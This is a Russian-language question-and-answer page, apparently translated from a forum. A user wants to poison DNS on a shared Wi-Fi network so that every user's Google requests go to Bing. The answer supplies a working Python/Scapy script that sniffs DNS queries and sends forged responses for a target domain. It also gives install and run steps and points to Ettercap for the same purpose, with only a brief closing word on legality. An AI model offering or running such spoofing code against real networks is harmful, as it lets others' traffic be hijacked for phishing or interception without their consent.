Вопрос или проблема
Я хочу поэкспериментировать с отравлением DNS, чтобы увидеть, что я могу с этим сделать, как это работает и т. д. К сожалению, единственные инструменты, которые я знаю, отравляющие кеш DNS, делают это полностью и выполняют полную атаку “человек посередине”, что в данный момент меня не интересует.
Кто-нибудь знает о каком-либо программном обеспечении, которое может изменить кэшированный IP только для конкретных сайтов и позволяет мне выбрать, на что я его изменяю (так что, теоретически, я мог бы перенаправить всех в сети на Bing, когда они пытаются использовать Google)?
Лучше всего подойдет программное обеспечение с открытым исходным кодом, но если его нет, тоже подходит.
Все соединения беспроводные, без модемов в некоммутируемой Wi-Fi сети. Мне все равно, как инструмент атакует DNS-сервер. Я хотел бы, чтобы это работало на Windows или Linux, но если оно работает только на одной из этих систем, тоже подойдет.
Эта статья описывает, как выполнять спуфинг DNS вместо отравления с использованием техник “человек посередине” для отдельных машин и доменов, используя Python + Scapy.
- Бесплатно
- С открытым исходным кодом
- Нужна машина на Linux, но после установки должна иметь возможность влиять на все цели
- Целенаправленно и выборочно
Ответ или решение
DNS-подмена (или DNS-спуфинг) — это техника, позволяющая злоумышленнику изменять кэш DNS, отправляя поддельные ответы на запросы DNS. Разбираясь в этом вопросе, важно понимать как работает данная технология и какие инструменты доступны для достижения поставленных целей.
Описание проблемы
Вы хотите провести эксперименты с подменой DNS, не прибегая к полному MITM-атаке (Attack Man-in-the-Middle), и ищете программное обеспечение, которое позволит изменять кэшированные IP-адреса только для конкретных сайтов. Ваша цель — редиректить пользователей сети на альтернативные ресурсы, такие как отправка всех запросов на Google на Bing.
Целевые решения
Существуют несколько подходящих инструментов и библиотек, позволяющих вам экспериментировать с подменой DNS без необходимости разворачивать полнофункциональную MITM-атаку. Одним из наиболее мощных и гибких инструментов является Scapy. Ниже приведены детали, как использовать этот инструмент.
1. Использование Scapy для DNS-спуфинга
Scapy — это мощная библиотека на Python, предназначенная для манипулирования сетевыми пакетами. С ее помощью вы можете создать скрипт для подмены DNS-запросов.
-
Установка Scapy: Установите библиотеку Scapy, используя pip:
pip install scapy
-
Пример скрипта:
Вот упрощенный пример скрипта, который показывает, как можно перенаправлять запросы DNS для определенного домена:
from scapy.all import * def dns_spoof(pkt): if pkt.haslayer(DNS) and pkt.getlayer(DNS).qr == 0: # Проверка, что это запрос qname = pkt[DNSQR].qname.decode('utf-8') if "google.com" in qname: # Проверяем целевой домен # Создаем поддельный DNS ответ answer = IP(dst=pkt[IP].src, src=pkt[IP].dst) / \ UDP(dport=pkt[UDP].sport, sport=53) / \ DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNSQR]) / \ DNSRR(rrname=qname, rdata="204.79.197.200", ttl=10) # Bing IP адрес send(answer) # Включаем прослушивание пакетов sniff(filter="udp port 53", prn=dns_spoof)
2. Применение на практике
-
Запуск на Linux: Скрипт будет работать на Linux, так как библиотека Scapy требует доступ к сокетам. Убедитесь, что вы запускаете скрипт с правами суперпользователя для захвата пакетов.
-
Работа на других операционных системах: Хотя Scapy в первую очередь предназначен для Linux, можно использовать Windows с WSL (Windows Subsystem for Linux) для работы с этим инструментом.
Альтернативные решения
Если вы ищете более простое решение без программирования, вы можете обратить внимание на некоторые инструменты, такие как:
- Ettercap: Позволяет осуществлять DNS-спуфинг в рамках MITM-атак, но с определенными настройками можно использовать его только для целевых доменов.
- dnsmasq: Служба DNS, которая позволяет настраивать локальные DNS записи, что может быть использовано для редиректа.
Заключение
DNS-спуфинг — это мощный инструмент, который можно использовать для целенаправленного редиректа трафика на заранее определенные ресурсы. Используя библиотеку Scapy, вы можете экспериментировать с этой технологией без необходимости развертывания полного решения для MITM-атак. Убедитесь, что ваши эксперименты остаются в рамках закона и этических норм, так как DNS-подмена может быть использована для вредоносных действий.